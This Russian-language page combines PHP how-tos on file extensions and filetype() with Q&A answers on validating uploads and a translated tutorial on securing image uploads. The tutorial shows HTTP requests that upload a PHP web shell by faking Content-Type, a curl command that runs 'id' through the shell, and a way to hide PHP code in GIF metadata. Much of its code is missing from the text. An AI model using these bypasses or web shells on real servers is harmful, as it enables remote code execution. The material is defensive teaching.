Проверка на формат файла php
Как определить расширение файла в PHP
Задача определения расширения возникает в разработке достаточно часто – здесь и загрузка файлов на сервер, и анализ имеющихся файлов, и поиск файла. В работе с файлами на сервере, есть так же частое решение сохранения файла не с исходным именем, а назначение в качестве имени файла текущего значения TIMESTAMP сервера. Решений у этой задачи существует немало для разных языков программирования. Хотя некоторые решения, в первую очередь, приходящие на ум, иногда приходится дорабатывать из-за того разнообразия имен файлов которые только могут быть. Для файла с именем «myfile.txt» можно смело предложить разбить строку на части разделенные точкой и взять последнюю. Но что делать с файлами «my.file.txt» или в случае, если расширение не указано «myfile»?
В этой статье, рассмотрим такие решения.
Для удобства имя файл зададим в строковой переменной:
Самое простое и удобное, на мой взгляд, решение использовать с, которая вернет ассоциированный массив, содержащий сведения полном имени, расширении и директории файла. После этого остается только вывести необходимый элемент массива.
Чтобы не делать собственную функцию можно упросить код, указав в качестве второго параметра значение PATHINFO_EXTENSION. В этом случае функция вернет не весь массив, а только значение расширения.
Оба варианта корректно вернут значение расширения «txt», кроме случая, где расширение не указано. Там, где расширения нет, будет возвращена пустая строка.
Это решение доступно для PHP, начиная с версии 4.0.3.
Если по причине версии PHP или какой-либо другой причине это решение не доступно, можно использовать традиционное решение – разбивку строки имени файла на части между точками, считая, что последний участок и будет расширением.
Здесь, функция explode() разбивает строку на массив из символов, разделенных точками, а функция end() возвращает последний элемент полученного массива.
В этом примере, если расширение не задано явно, т.е. точки в имени файла нет, будет возвращено исходное имя файла. В случае, если расширение есть, оно будет получено корректно.
filetype
(PHP 4, PHP 5, PHP 7, PHP 8)
filetype — Возвращает тип файла
Описание
Возвращает тип указанного файла.
Список параметров
Возвращаемые значения
Возвращает тип файла. Возможными значениями являются fifo, char, dir, block, link, file, socket и unknown.
Ошибки
Примеры
Пример #1 Пример использования функции filetype()
echo filetype ( ‘/etc/passwd’ ); // file
echo filetype ( ‘/etc/’ ); // dir
Примечания
Смотрите также
User Contributed Notes 6 notes
There are 7 values that can be returned. Here is a list of them and what each one means
block: block special device
char: character special device
fifo: FIFO (named pipe)
link: symbolic link
unknown: unknown file type
filetype() does not work for files >=2GB on x86 Linux. You can use stat as a workarround:
Note that stat returns diffenerent strings («regular file»,»directory». )
I use the CLI version of PHP on Windows Vista. Here’s how to determine if a file is marked «hidden» by NTFS:
This should work on any Windows OS that provides DOS shell commands.
Putting @ in front of the filetype() function does not prevent it from raising a warning (Lstat failed), if E_WARNING is enabled on your error_reporting.
The most common cause of filetype() raising this warning and not showing a filetype() in the output (it actually returns NULL) is, if you happened to pass just the ‘Dir or File Name’ and not the complete «Absolute or Relative Path» to that ‘file or Dir’. It may still read that file and return its filetype as «file» but for Dir’s it shows warning and outputs NULL.
eg:
$pathToFile = ‘/var/www’;
$file = ‘test.php’;
$dir = ‘somedir’;
Output for filetype($file) will be returned as ‘file’ and possibly without any warning, but for filetype($dir), it will return NULL with the warning «Lstat failed», unless you pass a complete path to that dir, i.e. filetype($pathToFile.’/’.$dir).
This happened to me and found this solution after a lot of trial and error. Thought, it might help someone.
Note there is a bug when using filetype with for example Japanese filenames :
https://bugs.php.net/bug.php?id=64699
The whole PHP interpreter comes crashing down without anyway to avoid it or capture an exception.
Как проверить загруженный тип файла в PHP
я использовал этот код для проверки типа изображений,
но некоторые пользователи жалуются, что они получают ошибку при загрузке любого типа изображений, в то время как некоторые другие не получают никаких ошибок!
мне было интересно, устраняет ли это проблему:
if (mime_content_type($_FILES[‘fupload’][‘type’]) == «image/gif»)<.
8 ответов
кроме того, finfo функции отлично, если ваш сервер поддерживает их.
В дополнение к @deceze, вы можете также finfo() чтобы проверить MIME-тип файлов без изображений:
конечно, вы можете проверить, является ли это изображение с exif, но лучший способ, я думаю, это сделать с finfo так:
лучший способ, на мой взгляд, сначала использовать getimagesize() следовал по imagecreatefromstring().
проверка getimagesize() предотвращает некоторые DoS-атаки, потому что нам не нужно пытаться imagecreatefromstring() из каждого файла, предоставленного пользователем, либо файл без изображения или файл слишком большой. К сожалению, согласно PHP docs нельзя полагаться на проверку содержимого типа изображения.
на imagecreatefromstring() наконец пытается открыть файл как образ-если это удается-у нас есть образ.
в PHP 5.5 я использую эту функцию для получения типа файла и проверки изображения:
затем вы могли бы сделать:
Это просто один сценарий, который я часто использую.
в основном я использую mime_content_type (), чтобы получить что-то вроде «image/jpg», а затем взрываю его на «/» и проверяю первый элемент массива, чтобы увидеть, говорит ли он «image».
надеюсь, это сработает!
эта последняя строка близка. Вы можете использовать: if (mime_content_type($_FILES[‘fupload’][‘tmp_name’]) == «image/gif»)<.
предупреждение: следующий ответ фактически не проверяет тип файла. Он только проверяет имя. Это не подходит для фактических целей безопасности.
EDIT: не используйте этот метод поскольку он не служит для проверки безопасности. Я оставляю этот ответ здесь, чтобы никто не сделал такую же ошибку, как я, попробовав это.
я попробовал следующее, И это сработало для меня:
php проверить расширение файла в форме загрузки
Я проверяю расширение файла для загрузки или загрузки. мои методы были обработаны, но теперь мне нужно понять, мои методы (pathinfo) верны? еще лучше и быстрее? благодаря
В приведенном выше примере будет выведено нечто похожее, которое вы должны проверить.
Хотя mime-типы также могут быть обмануты (отредактируйте первые несколько байтов файла и измените магические числа), но это сложнее, чем редактирование имени файла. Таким образом, вы никогда не сможете быть на 100% уверены в том, что такое тип файла на самом деле, и следует позаботиться о том, чтобы обрабатывать файлы, загруженные / отправленные по электронной почте вашими пользователями.
Лично я предпочитаю использовать функцию preg_match () :
pathinfo – это круто, но ваш код можно улучшить:
Конечно, просто проверка расширения имени файла не гарантирует тип файла как допустимое изображение. Вы можете использовать функцию getimagesize для проверки загруженных файлов изображений.
Не уверен, что это будет иметь более быстрое вычислительное время, но еще один вариант …
тип файла также можно проверить другими способами. Я считаю, что это самый простой способ проверить тип загруженного файла. Если u имеет дело с файлом изображения, тогда перейдите к следующему коду. если вы имеете дело с видео-файлом, то замените проверку изображения с помощью проверки видео в блоке if.
/ * сделать ваш логический код * /
>
я думаю, это может сработать для вас
Для правильного достижения этого вам будет лучше, установив тип mime.
Как проверить расширение файла (только jpg / jpeg) в форме перед загрузкой. Вариант на другой опубликованный ответ здесь с включенным фильтром данных, который может быть полезен при оценке других опубликованных значений формы. Примечание: ошибка остается пустой, если она пуста, поскольку это была опция для моих пользователей, а не требование.
Безопасная загрузка изображений на сервер. Часть первая
В данной статье демонстрируются основные уязвимости веб-приложений по загрузке файлов на сервер и способы их избежать. В статье приведены самые азы, в врят-ли она будет интересна профессионалам. Но тем неменее — это должен знать каждый PHP-разработчик.
Различные веб-приложения позволяют пользователям загружать файлы. Форумы позволяют пользователям загружать «аватары». Фотогалереи позволяют загружать фотографии. Социальные сети предоставляют возможности по загрузке изображений, видео, и т.д. Блоги позволяют загружать опять же аватарки и/или изображения.
Часто загрузка файлов без обеспечения надлежащего контроля безопасности приводит к образованию уязвимостей, которые, как показывает практика, стали настоящей проблемой в веб-приложениях на PHP.
Проводимые тесты показали, что многие веб-приложения имеют множество проблем с безопасностью. Эти «дыры» предоставляют злоумышленникам обширные возможности совершать несанкционированные действия, начиная с просмотра любого файла на сервере и закачивания выполнением произвольного кода. Эта статья рассказывает об основных «дырах» безопасности и способах их избежать.
Код примеров, приведенных в этой статье, могут быть загружены по адресу:
www.scanit.be/uploads/php-file-upload-examples.zip.
Если Вы хотите их использовать, пожалуйста удостоверьтесь, что сервер, который Вы используете, не доступен из Интернета или любых других публичных сетей. Примеры демонстрируют различные уязвимости, выполнение которых на доступном извне сервере может привести к опасным последствиям.
Обычная загрузка файла
Загрузка файлов, обычно состоит из двух независимых функций – принятие файлов от пользователя и показа файлов пользователю. Обе части могут быть источником уязвимостей. Давайте рассмотрим следующий код (upload1.php):
Обычно пользователи будут загружать файлы, используя подобную форму:
form name =»upload» action =»upload1.php» method =»POST» ENCTYPE =»multipart/form-data» >
Select the file to upload: input type =»file» name =»userfile» >
input type =»submit» name =»upload» value =»upload» >
form >
Злоумышленник данную форму использовать не будет. Он может написать небольшой Perl-скрипт (возможно на любом языке – прим. преводчика), который будет эмулировать действия пользователя по загрузке файлов, дабы изменить отправляемые данные на свое усмотрение.
В данном случае загрузка содержит большую дыру безопасности: upload1.php позволяет пользователям загружать произвольные файлы в корень сайта. Злоумышленник может загрузить PHP-файл, который позволяет выполнять произвольные команды оболочки на сервере с привилегией процесса веб-сервера. Такой скрипт называется PHP-Shell. Вот самый простой пример подобного скрипта:
Если этот скрипт находится на сервере, то можно выполнить любую команду через запрос:
server/shell.php?command=any_Unix_shell_command
Более продвинутые PHP-shell могут быть найдены в Интернете. Они могут загружать произвольные файлы, выполнять запросы SQL, и т.д.
Исходник Perl, показанный ниже, загружает PHP-Shell на сервер, используя upload1.php:
Этот скрипт использует libwwwperl, который является удобной библиотекой Perl, эмулирующей HTTP-клиента.
И вот что случится при выполнении этого скрипта:
POST /upload1.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Length: 156
Content-Type: multipart/form-data; boundary=xYzZY
—xYzZY
Content-Disposition: form-data; name=»userfile»; filename=»shell.php»
Content-Type: text/plain—xYzZY—
HTTP/1.1 200 OK
Date: Wed, 13 Jun 2007 12:25:32 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 48
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.
После того, как мы загрузили shell-скрипт, можно спокойно выполнить команду:
$ curl localhost/uploads/shell.php?command=id
uid=81(apache) gid=81(apache) groups=81(apache)
cURL – command-line клиент HTTP, доступный на Unix и Windows. Это очень полезный инструмент для того, чтобы проверить веб-приложения. cURL может быть загружен от curl.haxx.se
Проверка Content-Type
Приведенный выше пример редко когда имеет место. В большинстве случаев программисты используют простые проверки, чтобы пользователи загружали файлы строго определенного типа. Например, используя заголовок Content-Type:
Пример 2 (upload2.php):
В этом случае, если злоумышленник только попытается загрузить shell.php, наш код будет проверять MIME-тип загружаемого файла в запросе и отсеивать ненужное.
POST /upload2.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 156
—xYzZY
Content-Disposition: form-data; name=»userfile»; filename=»shell.php»
Content-Type: text/plain—xYzZY—
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 13:54:01 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 41
Connection: close
Content-Type: text/html
Sorry, we only allow uploading GIF images
Пока неплохо. К сожалению, есть способ обойти эту защиту, потому что проверяемый MIME-тип приходит вместе с запросом. В запросе выше он установлен как «text/plain» (его устанавливает браузер – прим. переводчика). Ничего не мешает злоумышленнику установить его в «image/gif», поскольку с помощью эмуляции клиента он полностью управляет запросом, который посылает (upload2.pl):
И вот что получится.
POST /upload2.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
—xYzZY
Content-Disposition: form-data; name=»userfile»; filename=»shell.php»
Content-Type: image/gif—xYzZY—
В итоге, наш upload2.pl подделывает заголовок Content-Type, заставляя сервер принять файл.
Проверка содержания файла изображения
Вместо того, чтобы доверять заголовку Content-Type, разработчик PHP мог бы проверять фактическое содержание загруженного файла, чтобы удостовериться, что это действительно изображение. Функция PHP getimagesize() часто используется для этого. Она берет имя файла как аргумент и возвращает массив размеров и типа изображения. Рассмотрим пример upload3.php ниже.
Теперь, если нападавший попытается загрузить shell.php, даже если он установит заголовок Content-Type в «image/gif», то upload3.php все равно выдаст ошибку.
POST /upload3.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
—xYzZY
Content-Disposition: form-data; name=»userfile»; filename=»shell.php»
Content-Type: image/gif—xYzZY—
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:33:35 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 42
Connection: close
Content-Type: text/html
Sorry, we only accept GIF and JPEG images
Можно подумать, что теперь мы можем пребывать в уверенности, что будут загружаться только файлы GIF или JPEG. К сожалению, это не так. Файл может быть действительно в формате GIF или JPEG, и в то же время PHP-скриптом. Большинство форматов изображения позволяет внести в изображение текстовые метаданные. Возможно создать совершенно корректное изображение, которое содержит некоторый код PHP в этих метаданных. Когда getimagesize() смотрит на файл, он воспримет это как корректный GIF или JPEG. Когда транслятор PHP смотрит на файл, он видит выполнимый код PHP в некотором двоичном «мусоре», который будет игнорирован. Типовой файл, названный crocus.gif содержится в примере (см. начало статьи). Подобное изображение может быть создано в любом графическом редакторе.
Итак, создадим perl-скрипт для загрузки нашей картинки:
Этот код берет файл crocus.gif и загружает это с названием crocus.php. Выполнение приведет к следующему:
Теперь нападавший может выполнить uploads/crocus.php и получить следущее:
Как видно, транслятор PHP игнорирует двоичные данные в начале изображения и выполняет последовательность » » в комментарии GIF.
Проверка расширения загружаемого файла
Читатель этой статьи мог бы задаться вопросом, почему мы просто не проверяем расширение загруженного файла? Если мы не позволим загружать файлы *.php, то сервер никогда не сможет выполнить этот файл как скрипт. Давайте рассмотрим и этот подход.
Мы можем сделать черный список расширений файла и проверить имя загружаемого файла, игнорируя загрузку файла с выполняемыми расширениями (upload4.php):
POST /upload4.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
—xYzZY
Content-Disposition: form-data; name=»userfile»; filename=»crocus.php»
Content-Type: image/gif
GIF89(. skipping binary data. )
—xYzZY—
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 15:19:45 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 36
Connection: close
Content-Type: text/html
We do not allow uploading PHP files
POST /upload4.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
—xYzZY
Content-Disposition: form-data; name=»userfile»; filename=»crocus.gif»
Content-Type: image/gif
GIF89(. skipping binary data. )
—xYzZY—
Теперь, если мы запросим загруженный файл, то он не будет выполнен сервером:
Комментарии переводчика:
В случае загрузки картинок самым лучшим способом являются не указанные действия, а сохранение файла с расширением, которое получается в результате выполнения функции getimagesize(). В большинстве случаев именно так и происходит. Стоит добавить, что желательно сделать приведение файла к конкретному формату, например jpeg. При приведении метаданные картинки (насколько мне известно) потеряются, обеспечив практически гарантируемую безопастность.